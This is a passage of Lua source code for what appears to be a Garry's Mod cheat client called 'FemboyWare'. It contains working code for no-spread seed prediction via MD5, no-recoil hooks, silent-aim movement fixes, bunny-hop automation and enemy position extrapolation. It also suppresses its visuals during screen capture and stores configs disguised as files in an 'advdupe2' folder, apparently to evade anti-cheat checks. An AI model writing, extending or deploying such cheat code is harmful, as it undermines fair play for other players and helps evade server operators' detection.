c = NS.MD5.z(md5_f, c, d, a, b, X[10], 17, NS.Const[11])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_f, b, c, d, a, X[11], 22, NS.Const[12])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_f, a, b, c, d, X[12], 7, NS.Const[13])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_f, d, a, b, c, X[13], 12, NS.Const[14])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_f, c, d, a, b, X[14], 17, NS.Const[15])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_f, b, c, d, a, X[15], 22, NS.Const[16])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_g, a, b, c, d, X[1], 5, NS.Const[17])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_g, d, a, b, c, X[6], 9, NS.Const[18])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_g, c, d, a, b, X[11], 14, NS.Const[19])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_g, b, c, d, a, X[0], 20, NS.Const[20])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_g, a, b, c, d, X[5], 5, NS.Const[21])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_g, d, a, b, c, X[10], 9, NS.Const[22])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_g, c, d, a, b, X[15], 14, NS.Const[23])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_g, b, c, d, a, X[4], 20, NS.Const[24])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_g, a, b, c, d, X[9], 5, NS.Const[25])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_g, d, a, b, c, X[14], 9, NS.Const[26])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_g, c, d, a, b, X[3], 14, NS.Const[27])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_g, b, c, d, a, X[8], 20, NS.Const[28])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_g, a, b, c, d, X[13], 5, NS.Const[29])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_g, d, a, b, c, X[2], 9, NS.Const[30])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_g, c, d, a, b, X[7], 14, NS.Const[31])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_g, b, c, d, a, X[12], 20, NS.Const[32])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_h, a, b, c, d, X[5], 4, NS.Const[33])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_h, d, a, b, c, X[8], 11, NS.Const[34])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_h, c, d, a, b, X[11], 16, NS.Const[35])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_h, b, c, d, a, X[14], 23, NS.Const[36])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_h, a, b, c, d, X[1], 4, NS.Const[37])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_h, d, a, b, c, X[4], 11, NS.Const[38])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_h, c, d, a, b, X[7], 16, NS.Const[39])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_h, b, c, d, a, X[10], 23, NS.Const[40])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_h, a, b, c, d, X[13], 4, NS.Const[41])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_h, d, a, b, c, X[0], 11, NS.Const[42])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_h, c, d, a, b, X[3], 16, NS.Const[43])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_h, b, c, d, a, X[6], 23, NS.Const[44])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_h, a, b, c, d, X[9], 4, NS.Const[45])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_h, d, a, b, c, X[12], 11, NS.Const[46])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_h, c, d, a, b, X[15], 16, NS.Const[47])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_h, b, c, d, a, X[2], 23, NS.Const[48])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_i, a, b, c, d, X[0], 6, NS.Const[49])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_i, d, a, b, c, X[7], 10, NS.Const[50])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_i ,c, d, a, b, X[14], 15, NS.Const[51])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_i, b, c, d, a, X[5], 21, NS.Const[52])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_i, a, b, c, d, X[12], 6, NS.Const[53])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_i, d, a, b, c, X[3], 10, NS.Const[54])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_i, c, d, a, b, X[10], 15, NS.Const[55])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_i, b, c, d, a, X[1], 21, NS.Const[56])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_i, a, b, c, d, X[8], 6, NS.Const[57])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_i, d, a, b, c, X[15], 10, NS.Const[58])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_i, c, d, a, b, X[6], 15, NS.Const[59])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_i, b, c, d, a, X[13], 21, NS.Const[60])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
a = NS.MD5.z(md5_i, a, b, c, d, X[4], 6, NS.Const[61])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
d = NS.MD5.z(md5_i, d, a, b, c, X[11], 10, NS.Const[62])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
c = NS.MD5.z(md5_i, c, d, a, b, X[2], 15, NS.Const[63])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
b = NS.MD5.z(md5_i, b, c, d, a, X[9], 21, NS.Const[64])
a = NS.MD5.Fix(a) b = NS.MD5.Fix(b) c = NS.MD5.Fix(c) d = NS.MD5.Fix(d)
return A + a, B + b, C + c, D + d
end
function NS.MD5.PseudoRandom(number)
local a, b, c, d = NS.MD5.Fix(NS.Const[65]), NS.MD5.Fix(NS.Const[66]), NS.MD5.Fix(NS.Const[67]), NS.MD5.Fix(NS.Const[68])
local m = {}
for iter = 0, 15 do m[iter] = 0 end
m[0] = number
m[1] = 128
m[14] = 32
a, b, c, d = NS.MD5.Transform(a, b, c, d, m)
return bit.rshift(NS.MD5.Fix(b), 16) % 256
end
local VGunsSpreadPrediction = {}
VGunsSpreadPrediction.PredictedSpread = 0
VGunsSpreadPrediction.LastShotTime = 0
VGunsSpreadPrediction.CurrentSpread = 0
VGunsSpreadPrediction.LastUpdate = 0
function VGunsSpreadPrediction:CalculateSpread(wep, baseAngles, frametime)
if not IsValid(wep) or not wep.VGUN then return baseAngles end
local owner = wep:GetOwner()
if not IsValid(owner) or owner ~= LocalPlayer() then return baseAngles end
local ct = CurTime()
frametime = frametime or FrameTime()
local spread = wep:GetCurrentSpread()
if ct - wep.LastShoot > 1 / wep.Primary.RPM * 1.5 then
local scoped = wep.Scoped
local Primary = wep.Primary
local spreadIncrease = (scoped and Primary.SpreadIncrease[2]) or Primary.SpreadIncrease[1]
self.CurrentSpread = math.max(0, self.CurrentSpread - frametime * spreadIncrease * 50)
else
self.CurrentSpread = spread
end
if spread > 0 then
local pitchSpread = math.Rand(-spread, spread)
local yawSpread = math.Rand(-spread, spread)
local newAngles = Angle(baseAngles)
newAngles.pitch = newAngles.pitch + pitchSpread * 60
newAngles.yaw = newAngles.yaw + yawSpread * 60
return newAngles
end
return baseAngles
end
local function PredictSpread(cmd, ang)
if not config.noSpread then return ang end
local ply = LocalPlayer()
local wep = ply:GetActiveWeapon()
if not IsValid(wep) then return ang end
if wep.VGUN then
math.randomseed(cmd:CommandNumber())
local predicted = VGunsSpreadPrediction:CalculateSpread(wep, ang, FrameTime())
local spreadDiff = predicted - ang
ang = ang - spreadDiff
ang:Normalize()
return ang
end
local class = wep:GetClass()
-- functional nospread for cw 2.0 & swb aka cw paste
if string.StartWith(class, "cw") or string.StartWith(class, "swb") then
local cone_val = nil
if string.StartWith(class, "swb") then
-- SWB
cone_val = wep.HipSpread
if wep.dt and wep.dt.State == 1 then -- 1 is usually SWB_AIMING
cone_val = wep.AimSpread
end
else
-- CW 2.0
cone_val = wep.CurCone
end
if cone_val then
if ply:Crouching() then cone_val = cone_val * 0.85 end
math.randomseed(cmd:CommandNumber())
ang = ang - Angle(math.Rand(-cone_val, cone_val), math.Rand(-cone_val, cone_val), 0) * 25
ang:Normalize()
return ang
end
end
local cone = NS.Spread[class]
if class == "weapon_pistol" then
local ramp = math.Clamp(wep:GetInternalVariable("m_flAccuracyPenalty") / 1.5, 0, 1)
cone = Lerp(ramp, Vector(0.00873, 0.00873, 0.00873), Vector(0.05234, 0.05234, 0.05234))
elseif not cone then
return ang
end
local seed = NS.MD5.PseudoRandom(cmd:CommandNumber())
local spreadData = NS.engineSpread[seed]
if not spreadData then return ang end
local coneX = cone.x or cone[1] or 0
local coneY = cone.y or cone[2] or 0
local x, y = spreadData[1], spreadData[2]
local forward, right, up = ang:Forward(), ang:Right(), ang:Up()
local RetVec = forward + (x * coneX * right * -1) + (y * coneY * up * -1)
local spreadAngles = RetVec:Angle()
spreadAngles:Normalize()
return spreadAngles
end
local Movement = {
0,
2500,
5000,
7500,
10000,
-2500,
-5000,
-7500,
-10000,
}
function ClampMovement(In)
local Closest = Movement[ 1 ]
local Best = math.abs( In - Closest )
for i = 2, #Movement do
local Value = math.abs( In - Movement[ i ] )
if Value < Best then
Closest = Movement[ i ]
Best = Value
end
end
return Closest
end
local function LegitFixMovement(cmd, viewangles)
local move = Vector(cmd:GetForwardMove(), cmd:GetSideMove(), 0)
local norm = move:GetNormalized()
local len = move:Length()
local fwd = Angle(0, viewangles.y, 0):Forward()
local right = Angle(0, viewangles.y, 0):Right()
local new_fwd = Angle(0, cmd:GetViewAngles().y, 0):Forward()
local new_right = Angle(0, cmd:GetViewAngles().y, 0):Right()
fwd.z = 0
right.z = 0
new_fwd.z = 0
new_right.z = 0
fwd:Normalize()
right:Normalize()
new_fwd:Normalize()
new_right:Normalize()
local x = (fwd:Dot(new_fwd) * move.x) + (right:Dot(new_fwd) * move.y)
local y = (fwd:Dot(new_right) * move.x) + (right:Dot(new_right) * move.y)
cmd:SetForwardMove(ClampMovement(x))
cmd:SetSideMove(ClampMovement(y))
end
-- Watermark setup
local watermarkHTMLPanel = nil
-- =======================================================================================
-- NO VISUAL RECOIL
-- =======================================================================================
do
local _PLAYER = FindMetaTable("Player")
local _origViewPunch = _PLAYER.ViewPunch
_PLAYER.ViewPunch = function(self, ...)
if config.noVisualRecoil then return end
return _origViewPunch(self, ...)
end
end
hook.Add("CalcView", "calcview", function(ply, origin, angles, fov)
if not IsValid(ply) or ply ~= LocalPlayer() then return end
if not origin or not angles then return end
if _G.FemboyWare_IsCapturing then
return
end
local view = {
origin = origin,
angles = angles,
fov = fov,
drawviewer = false
}
if (config.aimMethod == "Silent" or config.antiAim) and state.viewAngles then
if not config.noVisualRecoil or config.chrononEvader then
view.angles = state.viewAngles + ply:GetViewPunchAngles()
else
view.angles = state.viewAngles + Angle(0, 0, 0)
end
elseif config.noVisualRecoil and not config.chrononEvader then
view.angles = angles - ply:GetViewPunchAngles()
end
if state.thirdpersonActive then
view.drawviewer = true
local angles = view.angles
local dist = ply:InVehicle() and config.vehicleThirdpersonDist or config.thirdpersonDist
local desiredOrigin = view.origin - (angles:Forward() * dist)
if ply:InVehicle() then
view.origin = desiredOrigin
else
local tr = util.TraceHull({
start = view.origin,
endpos = desiredOrigin,
mins = Vector(-4, -4, -4),
maxs = Vector(4, 4, 4),
filter = {ply}
})
view.origin = tr.HitPos
end
end
-- View FOV Override
if config.viewFov > 0 and not ss then
view.fov = config.viewFov
end
return view
end)
hook.Add("CalcViewModelView", "vmoffset", function(wep, vm, oldPos, oldAng, pos, ang)
if _G.FemboyWare_IsCapturing then return end
if not ss and (config.viewmodelX ~= 0 or config.viewmodelY ~= 0 or config.viewmodelZ ~= 0) then
local right = ang:Right()
local forward = ang:Forward()
local up = ang:Up()
pos = pos + (right * config.viewmodelX)
pos = pos + (forward * config.viewmodelY)
pos = pos + (up * config.viewmodelZ)
return pos, ang
end
end)
-- =======================================================================================
-- CLIENT NO RECOIL & SPREAD (ass and not even needed)
-- =======================================================================================
local function ProcessNoRecoil()
if not config.clientNoRecoilSpread then return end
local ply = LocalPlayer()
local wep = ply:GetActiveWeapon()
if not IsValid(wep) then return end
if wep.Primary then
wep.Primary.Force = 0.01
wep.cameraShakeMul = 0.01
wep.addSprayMul = 0.01
wep.SprayRand = {Angle(0,0,0),Angle(0,0,0)}
wep.SpreadMul = 0.01
wep.SpreadMulZoom = 0.01
wep.sprayAngles = Angle(0,0,0)
wep.EyeSpray = Angle(0,0,0)
wep.Primary.Recoil = 0
wep.Primary.KickUp = 0
wep.Primary.KickDown = 0
wep.Primary.KickHorizontal = 0
end
end
local function ProcessNoSpread()
if not config.clientNoRecoilSpread then return end
local ply = LocalPlayer()
local wep = ply:GetActiveWeapon()
if not IsValid(wep) then return end
if wep.Primary then
wep.Primary.Spread = 0
wep.Primary.SpreadZoom = 0
wep.Primary.IronAccuracy = 0.01
if wep.Cone then wep.Cone = 0 end
if wep.ConeZoom then wep.ConeZoom = 0 end
if wep.Accuracy then wep.Accuracy = 100 end
if wep.AccuracyDivisor then wep.AccuracyDivisor = 100 end
if wep.Inaccuracy then wep.Inaccuracy = 0 end
if wep.VelocitySensitivity then wep.VelocitySensitivity = 0 end
wep.Primary.Distance = 99999
wep.Primary.NumShots = 1
end
end
-- =======================================================================================
-- DISABLE INTERP
-- =======================================================================================
local function ProcessDisableInterp()
if not config.disableInterp then return end
pcall(function()
API.ConVar.SetValue("cl_interpolate", 0)
end)
end
-- =======================================================================================
-- BHOP
-- =======================================================================================
local bhopState = {
jump = false,
left = false,
right = false,
oldEyePos = Angle(0, 0, 0),
initialized = false,
}
local function ProcessBHOP(cmd)
if not config.bhop then return end
local ply = LocalPlayer()
if not IsValid(ply) or not ply:Alive() then return end
if ply:GetMoveType() == MOVETYPE_NOCLIP then return end
if not bhopState.initialized then
bhopState.oldEyePos = ply:EyeAngles()
bhopState.initialized = true
end
bhopState.jump = false
if cmd:KeyDown(IN_JUMP) then
if not bhopState.jump then
if not ply:OnGround() then
cmd:RemoveKey(IN_JUMP)
end
else
bhopState.jump = false
end
elseif not bhopState.jump then
bhopState.jump = true
end
end
-- =======================================================================================
-- BULLET TRACERS
-- =======================================================================================
local tracerTable = {}
local tracerMat = Material("cable/blue_elec")
-- Render Tracers
hook.Add("PreDrawOpaqueRenderables", "rendertracers", function()
if ss or not config.bulletTracers then return end
cam.Start3D()
cam.IgnoreZ(true)
local curTime = CurTime()
for i = #tracerTable, 1, -1 do
local t = tracerTable[i]
local startTime = t[3]
local elapsed = curTime - startTime
if elapsed >= 3.5 then
table.remove(tracerTable, i)
else
-- Calculate alpha: Full for first 2s, fade out over next 1.5s
local alpha = 255
if elapsed > 2 then
local fadeProgress = (elapsed - 2) / 1.5
alpha = 255 * (1 - fadeProgress)
end
local c = t[4]
local startPos = t[2]
local endPos = t[1]
local len = startPos:Distance(endPos)
-- Restore scrolling animation
local scroll = curTime * 5
render.SetMaterial(tracerMat)
render.DrawBeam(startPos, endPos, 5, scroll, scroll + (len / 100), Color(c.r, c.g, c.b, alpha))
end
end
cam.IgnoreZ(false)
cam.End3D()
end)
-- p100 extrapolation
hook.Add("PostDrawTranslucentRenderables", "extrapolatedebug", function()
if ss or not config.showESP or not config.extrapolateDebug or not config.extrapolate then return end
local ply = LocalPlayer()
local interval = engine.TickInterval()
local latency = ply:Ping() / 1000
local ticks = math.max(math.floor(latency / interval), 1)
render.SetColorMaterial()
for _, target in pairs(player.GetAll()) do
if not IsValid(target) or not target:Alive() or target == ply then continue end
if config.ignoreDormant and target:IsDormant() then continue end
local vel = target:GetVelocity()
if vel:Length() < 5 then continue end
local pos = target:GetPos()
local mins, maxs = target:OBBMins(), target:OBBMaxs()
for i = 1, ticks do
pos = pos + vel * interval
render.DrawWireframeBox(pos, Angle(0, 0, 0), mins, maxs, Color(255, 0, 0, 255), true)
end
end
end)
hook.Add("EntityFireBullets", "capturetracers", function(ent, data)
if ent ~= LocalPlayer() then return end
local wep = ent:GetActiveWeapon()
if IsValid(wep) and data.Spread then
local class = wep:GetClass()
if not NS.Spread[class] or NS.Spread[class] ~= data.Spread then
NS.Spread[class] = data.Spread
end
end
if not config.bulletTracers then return end
local ply = LocalPlayer()
local oldCallback = data.Callback
data.Callback = function(attacker, tr, dmginfo)
if oldCallback then
oldCallback(attacker, tr, dmginfo)
end
local startPos = tr.StartPos
local vm = ply:GetViewModel()
-- Try to get muzzle position from viewmodel
if IsValid(vm) then
local muzzle = vm:LookupAttachment("muzzle")
if muzzle == 0 then muzzle = vm:LookupAttachment("1") end
if muzzle == 0 then muzzle = vm:LookupAttachment("0") end
if muzzle > 0 then
local att = vm:GetAttachment(muzzle)
if att then startPos = att.Pos end
else
local weapon = ply:GetActiveWeapon()
if IsValid(weapon) then
local batt = weapon:LookupAttachment("muzzle")
if batt > 0 then
local battData = weapon:GetAttachment(batt)
if battData then startPos = battData.Pos end
end
end
end
end
-- Add to tracer table with StartTime
-- Structure: {endPos, startPos, startTime, color}
table.insert(tracerTable, {
tr.HitPos,
startPos,
CurTime(),
config.colors.bulletTracers
})
end
return true
end)
local skyMaterials = {
["Galaxy"] = Material("shaders/galaxy"),
["Starnest"] = Material("shaders/starnest"),
["Nebula"] = Material("shaders/nebula")
}
hook.Add("PostDraw2DSkyBox", "SKY", function()
if config.skyboxMode == "Off" then return end
local matSky = skyMaterials[config.skyboxMode]
if not matSky or matSky:IsError() then return end
render.Clear(0, 0, 0, 255)
matSky:SetFloat("$c0_x", CurTime())
render.SetMaterial(matSky)
render.DrawSphere(EyePos(), 20, 256, 256)
end)
local lastHandsModel = nil
local lastHandsEnt = nil
hook.Add("Think", "chm", function()
local ply = LocalPlayer()
if not IsValid(ply) then return end
local hands = ply:GetHands()
if not IsValid(hands) then return end
if config.chams.customHands then
if hands:GetModel() ~= config.chams.customHandsModel then
if lastHandsModel == nil or lastHandsEnt ~= hands then
lastHandsModel = hands:GetModel()
lastHandsEnt = hands
end
hands:SetModel(config.chams.customHandsModel)
end
else
-- Restore original hands if we modified them
if lastHandsModel and IsValid(lastHandsEnt) and hands == lastHandsEnt then
if hands:GetModel() ~= lastHandsModel then
hands:SetModel(lastHandsModel)
end
lastHandsModel = nil
lastHandsEnt = nil
end
end
end)
-- Fonts
local function CreateFonts()
surface.CreateFont("KirkElement", {font = "Cascadia Mono", size = 16, weight = 400})
surface.CreateFont("KirkTab", {font = "Cascadia Mono", size = 18, weight = 1000})
surface.CreateFont("KirkwareFont_Arial", {font = "Cascadia Mono", size = 14, weight = 400, outline = false, antialias = true})
surface.CreateFont("KirkwareFont_Arial_Small", {font = "Cascadia Mono", size = 12, weight = 400, outline = false, antialias = true})
surface.CreateFont("KirkwareIntroFont", {font = "Cascadia Mono", size = 72, weight = 900, antialias = true})
surface.CreateFont("WatermarkTitle", {font = "Cascadia Mono", antialias = false, outline = true, size = 18})
surface.CreateFont("WatermarkText", {font = "Cascadia Mono", antialias = false, outline = true, size = 16})
end
CreateFonts()
hook.Add("OnScreenSizeChanged", "reloadfonts", function()
CreateFonts()
end)
local COLORS = {
bg_main = Color(15, 12, 18, 255),
bg_panel = Color(22, 18, 26, 255),
bg_element = Color(30, 25, 35, 255),
bg_hover = Color(45, 35, 55, 255),
bg_sector = Color(25, 20, 30, 255),
border = Color(10, 8, 12, 255),
border_light = Color(55, 40, 65, 255),
text_bright = Color(255, 255, 255, 255),
text_normal = Color(220, 210, 230, 255),
text_dim = Color(140, 130, 150, 255),
accent = Color(168, 100, 220, 255),
accent2 = Color(100, 150, 220, 255),
}
local function TextSize(txt, font)
surface.SetFont(font)
return surface.GetTextSize(txt)
end
local function DrawText(text, font, x, y, color)
surface.SetFont(font)
surface.SetTextColor(color)
surface.SetTextPos(x, y)
surface.DrawText(text)
end
local function DrawLine(x1, y1, x2, y2, color)
surface.SetDrawColor(color)
surface.DrawLine(x1, y1, x2, y2)
end
local function DrawBorderBox(x, y, w, h, border, bg, bordcol, radius)
draw.RoundedBox(radius + border, x, y, w + border*2, h + border*2, bordcol)
draw.RoundedBox(radius, x + border, y + border, w, h, bg)
end
local function FillRect(x, y, w, h, color)
surface.SetDrawColor(color)
surface.DrawRect(x, y, w, h)
end
local function DrawRect(x, y, w, h, color)
surface.SetDrawColor(color)
surface.DrawLine(x, y, x + w, y)
surface.DrawLine(x, y, x, y + h)
surface.DrawLine(x + w, y, x + w, y + h)
surface.DrawLine(x, y + h, x + w, y + h)
end
local function DrawTriangle(x1, y1, x2, y2, x3, y3, color)
surface.SetDrawColor(color)
draw.NoTexture()
surface.DrawPoly({ { x = x1, y = y1 }, { x = x2, y = y2 }, { x = x3, y = y3 } })
end
-- Alias for DrawRect (both draw outlines)
local DrawOutline = DrawRect
-- HSV / RGB
local function RGBtoHSV(r, g, b)
r, g, b = r / 255, g / 255, b / 255
local max, min = math.max(r, g, b), math.min(r, g, b)
local h, s, v
v = max
local d = max - min
s = max == 0 and 0 or d / max
if max == min then
h = 0
elseif max == r then
h = (g - b) / d + (g < b and 6 or 0)
elseif max == g then
h = (b - r) / d + 2
elseif max == b then
h = (r - g) / d + 4
end
h = h / 6
return h * 360, s, v
end
local function HSVtoRGB(h, s, v)
local r, g, b
local i = math.floor(h / 60)
local f = h / 60 - i
local p = v * (1 - s)
local q = v * (1 - f * s)
local t = v * (1 - (1 - f) * s)
i = i % 6
if i == 0 then r, g, b = v, t, p
elseif i == 1 then r, g, b = q, v, p
elseif i == 2 then r, g, b = p, v, t
elseif i == 3 then r, g, b = p, q, v
elseif i == 4 then r, g, b = t, p, v
elseif i == 5 then r, g, b = v, p, q
end
return math.floor(r * 255), math.floor(g * 255), math.floor(b * 255)
end
local PADDING = 15
local INNERPADDING = 15
local TABHEIGHT = 20
local BORDER = 2
local BINDINGKEY = -1
local SPACEWIDTH, LINEHEIGHT = TextSize(" ", "KirkElement")
local TAB_SPACE = TextSize(" ", "KirkTab")
local function table_contains(table, el)
for _, val in ipairs(table) do
if val == el then
return true
end
end
return false
end
local GUI = {
visible = false,
activeTab = 1,
tabs = {},
x = (ScrW() - 600)/2, y = (ScrH() - 750)/2,
w = 600, h = 750,
dragging = false,
drag_ox = 0,
drag_oy = 0,
colorPicker = {
visible = false,
x = 0, y = 0, width = 180, height = 205,
color = Color(255, 255, 255),
h = 0, s = 1, v = 1,
draggingSatVal = false,
draggingHue = false,
draggingAlpha = false
},
GetColor = function(key, ply)
if config.colors_mode[key] == "Team" and IsValid(ply) and ply:IsPlayer() then
local tc = team.GetColor(ply:Team())
return Color(tc.r, tc.g, tc.b, 255)
end
return config.chams.colors[key] or config.colors[key] or Color(220, 210, 230)
end,
sliderDragging = false,
sliderStart = 0,
sliderWidth = 0,
sliderEl = nil,
lastBakedX = PADDING + TextSize("FemboyWare.club ", "KirkTab") + 2,
_lastToggle = CurTime(),
lastClickFrame = CurTime(),
configName = "default",
configFocused = false,
friendsFocused = false,
friendsSearch = "",
friendsScrollOffset = 0,
friendsScrollDragging = false,
friendsScrollStartY = 0,
friendsScrollStartOff = 0,
}
GUI.RGBtoHSV = RGBtoHSV
GUI.HSVtoRGB = HSVtoRGB
-- config folder
file.CreateDir("advdupe2")
local InitMenu
local function kirkware_v4_GetConfigs()
local files, _ = file.Find("advdupe2/*.vtf", "DATA")
local configs = {}
for _, f in ipairs(files) do
table.insert(configs, string.StripExtension(f))
end
return configs
end
local function kirkware_v4_Save(name)
if not name or name == "" then return end
local data = util.TableToJSON(config)
file.Write("advdupe2/" .. name .. ".vtf", data)
MsgC(Color(220, 210, 230), "[FemboyWare]", Color(220, 210, 230), " saved config ", Color(168, 100, 220), name, "\n")
sNotify:Notify("Config", "Saved \"" .. name .. "\" config", 3)
end
local function kirkware_v4_Load(name)
if not name or name == "" then return end
local path = "advdupe2/" .. name .. ".vtf"
if not file.Exists(path, "DATA") then return end
local data = file.Read(path, "DATA")
if not data then return end
local saved = util.JSONToTable(data)
if not saved then return end
-- Helper to convert table to Color
local function ToColor(t)
if type(t) == "table" and t.r and t.g and t.b then
return Color(t.r, t.g, t.b, t.a or 255)
end
return t
end
-- Recursive merge with Color reconstruction
local function DeepMerge(target, source)
for k, v in pairs(source) do
if type(v) == "table" then
if v.r and v.g and v.b then
target[k] = ToColor(v)
elseif type(target[k]) == "table" then
DeepMerge(target[k], v)
else
target[k] = v
end
else
if type(target[k]) == "number" and type(v) == "string" and tonumber(v) then
target[k] = tonumber(v)
else
target[k] = v
end
end
end
end
DeepMerge(config, saved)
